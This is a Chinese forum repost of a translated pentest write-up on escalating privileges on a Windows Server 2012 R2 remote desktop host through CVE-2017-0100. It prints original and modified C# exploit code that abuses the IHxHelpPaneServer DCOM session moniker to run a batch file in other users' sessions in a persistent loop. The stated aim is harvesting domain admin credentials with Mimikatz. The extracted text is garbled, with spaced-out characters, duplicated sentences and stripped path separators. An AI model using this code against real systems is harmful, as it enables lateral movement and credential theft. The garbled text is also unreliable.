搜索

[11243] 2017-04-16_WindowsServer2012R2的提权过程解析

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2017-04-16_WindowsServer2012R2的提权过程解析 W i n d o w s   S e r v e r   2 0 1 2   R 2 的 提 权 过 程 解 析 A l p h a _ h 4 c k   F r e e B u f   2 0 1 7 - 0 4 - 1 6 近 期 ， 我 在 进 行 一 项 安 全 评 估 的 过 程 中 遇 到 了 一 个 麻 烦 。 这 是 某 个 组 织 的 一 台 远 程 桌 面 服 务 器 ， 安 装 的 是 近 期 ， 我 在 进 行 一 项 安 全 评 估 的 过 程 中 遇 到 了 一 个 麻 烦 。 这 是 某 个 组 织 的 一 台 远 程 桌 面 服 务 器 ， 安 装 的 是 W i n d o w s   S e r v e r 2 0 1 2   R 2 系 统 ， 但 是 我 手 中 的 用 户 账 号 权 限 却 非 常 低 。 由 于 我 此 前 也 进 行 过 大 量 的 安 全 评 估 和 测 试 ， 因 此 我 清 楚 地 知 道 如 果 系 统 ， 但 是 我 手 中 的 用 户 账 号 权 限 却 非 常 低 。 由 于 我 此 前 也 进 行 过 大 量 的 安 全 评 估 和 测 试 ， 因 此 我 清 楚 地 知 道 如 果 我 能 够 将 这 个 用 户 账 号 的 权 限 提 升 为 服 务 器 的 本 地 管 理 员 ， 那 么 我 就 可 以 使 用 我 能 够 将 这 个 用 户 账 号 的 权 限 提 升 为 服 务 器 的 本 地 管 理 员 ， 那 么 我 就 可 以 使 用 M i m i k a t z （ （ W i n d o w s 密 码 抓 取 神 器 ） 来 窃 取 密 码 抓 取 神 器 ） 来 窃 取 域 名 管 理 员 的 凭 证 数 据 了 。 域 名 管 理 员 的 凭 证 数 据 了 。 跟 我 一 起 进 行 这 项 安 全 审 查 任 务 的 是 我 的 同 事 C h r i s   M y e r s ， 当 时 我 们 几 乎 用 尽 了 脑 海 中 所 能 想 到 的 一 切 方 法 ， 但 是 问 题 依 旧 没 有 解 决 。 但 就 在 我 们 打 算 放 弃 的 时 候 ， C V E - 2 0 1 7 - 0 1 0 0 进 入 了 我 们 的 视 线 之 中 ， 而 这 个 漏 洞 正 好 就 是 我 们 所 需 要 的 东 西 。 从 理 论 上 来 说 ， 这 个 漏 洞 将 允 许 我 们 利 用 任 意 用 户 权 限 并 通 过 一 个 活 动 会 话 来 在 远 程 桌 面 服 务 器 中 执 行 p a y l o a d 。
这 个 漏 洞 的 发 现 者 以 及 P o C 的 提 交 者 都 是 J a m e s   F o r s h a w ， P o C 使 用 了 会 话 标 记 和 D C O M   A c t i v a t o r 并 允 许 用 户 通 过 其 他 已 登 录 的 用 户 会 话 来 执 行 任 意 进 程 。 在 对 原 始 的 P o C 代 码 进 行 了 分 析 之 后 ， 发 现 我 们 仍 然 需 要 根 据 自 己 目 前 所 面 对 的 情 况 对 他 提 供 的 漏 洞 利 用 代 码 进 行 修 改 。 （ （ 1 ） 确 定 漏 洞 利 用 代 码 所 支 持 的 ） 确 定 漏 洞 利 用 代 码 所 支 持 的 p a y l o a d 类 型 ， 并 修 改 类 型 ， 并 修 改 p a y l o a d 的 识 别 与 执 行 方 式 。 的 识 别 与 执 行 方 式 。 下 面 给 出 的 是 原 始 代 码 ： C o n s o l e . W r i t e L i n e ( " C r e a t i n g   P r o c e s s   i n S e s s i o n   { 0 } a f t e r   2 0 s e c s " ,   n e w _ s e s s i o n _ i d ) ;   T h r e a d . S l e e p ( 2 0 0 0 0 ) ;   I H x H e l p P a n e S e r v e r   s e r v e r = ( I H x H e l p P a n e S e r v e r ) M a r s h a l . B i n d T o M o n i k e r ( S t r i n g . F o r m a t ( " s e s s i o n : { 0 } ! n e w : 8 c e c 5 8 a e - 0 7 a 1 - 1 1 d 9 - b 1 5 e - 0 0 0 d 5 6 b f e 6 e e " , n e w _ s e s s i o n _ i d ) ) ;   U r i   t a r g e t   = n e w U r i ( P a t h . C o m b i n e ( E n v i r o n m e n t . G e t F o l d e r P a t h ( E n v i r o n m e n t . S p e c i a l F o l d e r . S y s t e m ) , " n o t e p a d . e x e " ) ) ;   s e r v e r . E x e c u t e ( t a r g e t . A b s o l u t e U r i ) ; 在 进 行 了 深 入 分 析 之 后 我 们 发 现 ， 代 码 中 最 重 要 的 一 个 目 标 参 数 是 一 个 指 向 可 执 行 文 件 的 路 径 地 址 ， 所 以 我 们 首 先 尝 试 的 是 C a s e y   S m i t h 发 布 的 p a y l o a d : R e g s v r 3 2 . e x e 。 但 是 ， 我 们 仍 然 无 法 让 I H x H e l p P a n e S e r v e r 服 务 器 的 执 行 函 数 来 接 收 我 们 所 提 供 的 参 数 。 因 此 ， 我 们 打 算 在 本 地 磁 盘 中 保 存 一 个 小 型 . b a t 文 件 ， 并 放 在 一 个 所 有 用 户 都 可 以 正 常 访 问 的 路 径 之 下 ， 即 “ C : T E M P ” 。 下 面 是 我 们 修 改 后 的 代 码 ： C o n s o l e . W r i t e L i n e ( " C r e a t i n g   P r o c e s s   i n S e s s i o n   { 0 } a f t e r   2 0 s e c s " ,   n e w _ s e s s i o n _ i d ) ;   T h r e a d . S l e e p ( 2 0 0 0 0 ) ;   I H x H e l p P a n e S e r v e r   s e r v e r = ( I H x H e l p P a n e S e r v e r ) M a r s h a l . B i n d T o M o n i k e r ( S t r i n g . F o r m a t ( " s e s s i o n : { 0 } ! n e w : 8 c e c 5 8 a e - 0 7 a 1 - 1 1 d 9 - b 1 5 e - 0 0 0 d 5 6 b f e 6 e e " , n e w _ s e s s i o n _ i d ) ) ;   U r i   t a r g e t   =   n e w U r i ( " C : T E M P t e s t i n g . b a t " ) ;   s e r v e r . E x e c u t e ( t a r g e t . A b s o l u t e U r i ) ; （ （ 2 ） 在 每 一 个 会 话 中 执 行 漏 洞 利 用 代 码 。 ） 在 每 一 个 会 话 中 执 行 漏 洞 利 用 代 码 。 原 始 的 P o C 代 码 会 收 集 主 机 中 每 一 个 会 话 的 会 话 I D ， 但 最 终 只 会 在 一 个 会 话 中 执 行 漏 洞 利 用 代 码 。 下 面 给 出 的 是 原 始 P o C 代 码 ： t r y  
{         i n t   c u r r e n t _ s e s s i o n _ i d =   P r o c e s s . G e t C u r r e n t P r o c e s s ( ) . S e s s i o n I d ;         i n t   n e w _ s e s s i o n _ i d =   0 ;       C o n s o l e . W r i t e L i n e ( " W a i t i n g   F o r   a   T a r g e t   S e s s i o n " ) ;         w h i l e   ( t r u e )           {               I E n u m e r a b l e < i n t >   s e s s i o n s   =   G e t S e s s i o n I d s ( ) . W h e r e ( i d   = >   i d ! = c u r r e n t _ s e s s i o n _ i d ) ;                 i f   ( s e s s i o n s . C o u n t ( )   >   0 )                 {                       n e w _ s e s s i o n _ i d   =   s e s s i o n s . F i r s t ( ) ;                         b r e a k ;                 }               T h r e a d . S l e e p ( 1 0 0 0 ) ;           }   } 仅 仅 是 在 第 一 个 记 录 下 的 会 话 中 执 行 代 码 还 远 远 不 够 ， 我 们 所 面 临 的 情 况 要 求 我 们 能 够 在 任 意 用 户 权 限 和 会 话 进 程 中 执 行 代 码 。 为 了 实 现 这 一 目 标 ， 我 们 只 需 要 在 收 集 到 的 会 话 信 息 （ I E n u m e r a b l e 对 象 s e s s i o n s ） 中 随 机 抽 取 一 个 会 话 ， 然 后 用 这 个 会 话 来 执 行 我 们 的 p a y l o a d 即 可 。 由 于 随 机 选 择 的 固 有 特 性 ， 你 可 能 会 遇 到 用 同 一 用 户 会 话 执 行 两 次 代 码 的 情 况 ， 但 考 虑 到 时 间 有 限 ， 我 们 选 择 接 受 这 种 情 况 。 下 面 给 出 的 是 我 们 修 改 后 的 代 码 ： t r y  
{         i n t c u r r e n t _ s e s s i o n _ i d   =   P r o c e s s . G e t C u r r e n t P r o c e s s ( ) . S e s s i o n I d ;         i n t   n e w _ s e s s i o n _ i d =   0 ;       C o n s o l e . W r i t e L i n e ( " W a i t i n g   F o r   a   T a r g e t   S e s s i o n " ) ;         w h i l e   ( t r u e )           {               I E n u m e r a b l e < i n t >   s e s s i o n s   =   G e t S e s s i o n I d s ( ) . W h e r e ( i d   = >   i d ! = c u r r e n t _ s e s s i o n _ i d ) ;                 i f ( s e s s i o n s . C o u n t ( )   >   0 )                 {                         R a n d o m   r n d =   n e w   R a n d o m ( ) ;                         i n t   r   =   r n d . N e x t ( s e s s i o n s . C o u n t ( ) ) ;                       n e w _ s e s s i o n _ i d   =   s e s s i o n s . E l e m e n t A t ( r ) ;                         b r e a k ;                 }               T h r e a d . S l e e p ( 1 0 0 0 ) ;           }   } （ （ 3 ） 保 证 漏 洞 利 用 代 码 可 以 持 续 运 行 ， 直 到 我 们 手 动 终 止 进 程 为 止 ） 保 证 漏 洞 利 用 代 码 可 以 持 续 运 行 ， 直 到 我 们 手 动 终 止 进 程 为 止 … 原 始 的 漏 洞 利 用 代 码 只 会 运 行 一 次 ， 运 行 完 毕 后 便 会 自 动 退 出 。 为 了 解 决 这 个 问 题 ， 我 们 只 需 要 将 I H x H e l p P a n e S e r v e r 执 行 函 数 写 在 一 个 w h i l e 循 环 里 面 就 可 以 了 。
下 面 给 出 的 是 原 始 代 码 ： t r y   {         i n t c u r r e n t _ s e s s i o n _ i d   =   P r o c e s s . G e t C u r r e n t P r o c e s s ( ) . S e s s i o n I d ;         i n t   n e w _ s e s s i o n _ i d =   0 ;       C o n s o l e . W r i t e L i n e ( " W a i t i n g   F o r   a   T a r g e t   S e s s i o n " ) ;         w h i l e   ( t r u e )           {               I E n u m e r a b l e < i n t >   s e s s i o n s   =   G e t S e s s i o n I d s ( ) . W h e r e ( i d   = >   i d ! = c u r r e n t _ s e s s i o n _ i d ) ;                 i f ( s e s s i o n s . C o u n t ( )   >   0 )                 {                       n e w _ s e s s i o n _ i d   =   s e s s i o n s . F i r s t ( ) ;                         b r e a k ;                 }               T h r e a d . S l e e p ( 1 0 0 0 ) ;           }           C o n s o l e . W r i t e L i n e ( " C r e a t i n g   P r o c e s s   i n   S e s s i o n   { 0 } a f t e r 2 0 s e c s " ,   n e w _ s e s s i o n _ i d ) ;       T h r e a d . S l e e p ( 2 0 0 0 0 ) ;  
      I H x H e l p P a n e S e r v e r s e r v e r   = ( I H x H e l p P a n e S e r v e r ) M a r s h a l . B i n d T o M o n i k e r ( S t r i n g . F o r m a t ( " s e s s i o n : { 0 } ! n e w : 8 c e c 5 8 a e - 0 7 a 1 - 1 1 d 9 - b 1 5 e - 0 0 0 d 5 6 b f e 6 e e " , n e w _ s e s s i o n _ i d ) ) ;         U r i   t a r g e t   = n e w U r i ( P a t h . C o m b i n e ( E n v i r o n m e n t . G e t F o l d e r P a t h ( E n v i r o n m e n t . S p e c i a l F o l d e r . S y s t e m ) , " n o t e p a d . e x e " ) ) ;         s e r v e r . E x e c u t e ( t a r g e t . A b s o l u t e U r i ) ;   }   c a t c h   ( E x c e p t i o n   e x )   {       C o n s o l e . W r i t e L i n e ( e x ) ;   } 下 面 给 出 的 是 我 们 修 改 后 的 代 码 ： t r y   {         i n t c u r r e n t _ s e s s i o n _ i d   =   P r o c e s s . G e t C u r r e n t P r o c e s s ( ) . S e s s i o n I d ;         i n t   n e w _ s e s s i o n _ i d =   0 ;       C o n s o l e . W r i t e L i n e ( " W a i t i n g   F o r   a   T a r g e t   S e s s i o n " ) ;         w h i l e   ( t r u e )           {               I E n u m e r a b l e < i n t >   s e s s i o n s   =   G e t S e s s i o n I d s ( ) . W h e r e ( i d   = >   i d ! = c u r r e n t _ s e s s i o n _ i d ) ;                 i f ( s e s s i o n s . C o u n t ( )   >   0 )                 {
                        R a n d o m   r n d =   n e w   R a n d o m ( ) ;                           i n t   r   = r n d . N e x t ( s e s s i o n s . C o u n t ( ) ) ;                       n e w _ s e s s i o n _ i d   =   s e s s i o n s . E l e m e n t A t ( r ) ;                       C o n s o l e . W r i t e L i n e ( " C r e a t i n g   P r o c e s s   i n   S e s s i o n   { 0 } a f t e r 2 0 s e c s " ,   n e w _ s e s s i o n _ i d ) ;                       T h r e a d . S l e e p ( 2 0 0 0 0 ) ;                       I H x H e l p P a n e S e r v e r   s e r v e r   = ( I H x H e l p P a n e S e r v e r ) M a r s h a l . B i n d T o M o n i k e r ( S t r i n g . F o r m a t ( " s e s s i o n : { 0 } ! n e w : 8 c e c 5 8 a e - 0 7 a 1 - 1 1 d 9 - b 1 5 e - 0 0 0 d 5 6 b f e 6 e e " , n e w _ s e s s i o n _ i d ) ) ;                         U r i   t a r g e t =   n e w   U r i ( " C : T E M P t e s t i n g . b a t " ) ;                       s e r v e r . E x e c u t e ( t a r g e t . A b s o l u t e U r i ) ;                 }             T h r e a d . S l e e p ( 6 0 0 0 0 ) ;           }       }   c a t c h   ( E x c e p t i o n   e x )   {       C o n s o l e . W r i t e L i n e ( e x ) ;   } 总 结 总 结 总 结 总 结 虽 然 我 们 对 代 码 的 修 改 可 能 不 是 很 完 善 ， 但 是 我 们 通 过 对 J a m e s F o r s h a w 所 提 供 的 P o C 进 行 修 改 并 实 现 了 在 W i n d o w s S e r v e r   2 0 1 2   R 2 上
的 提 权 。 最 终 ， 我 们 成 功 地 在 远 程 桌 面 服 务 器 中 拿 到 了 任 意 用 户 权 限 下 的 s h e l l ， 而 这 种 权 限 也 就 意 味 着 我 们 能 够 将 手 中 用 户 账 号 的 权 限 提 升 为 域 名 管 理 员 。 *   参 考 来 源 ： i n s p i r e d - s e c ，   F B 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理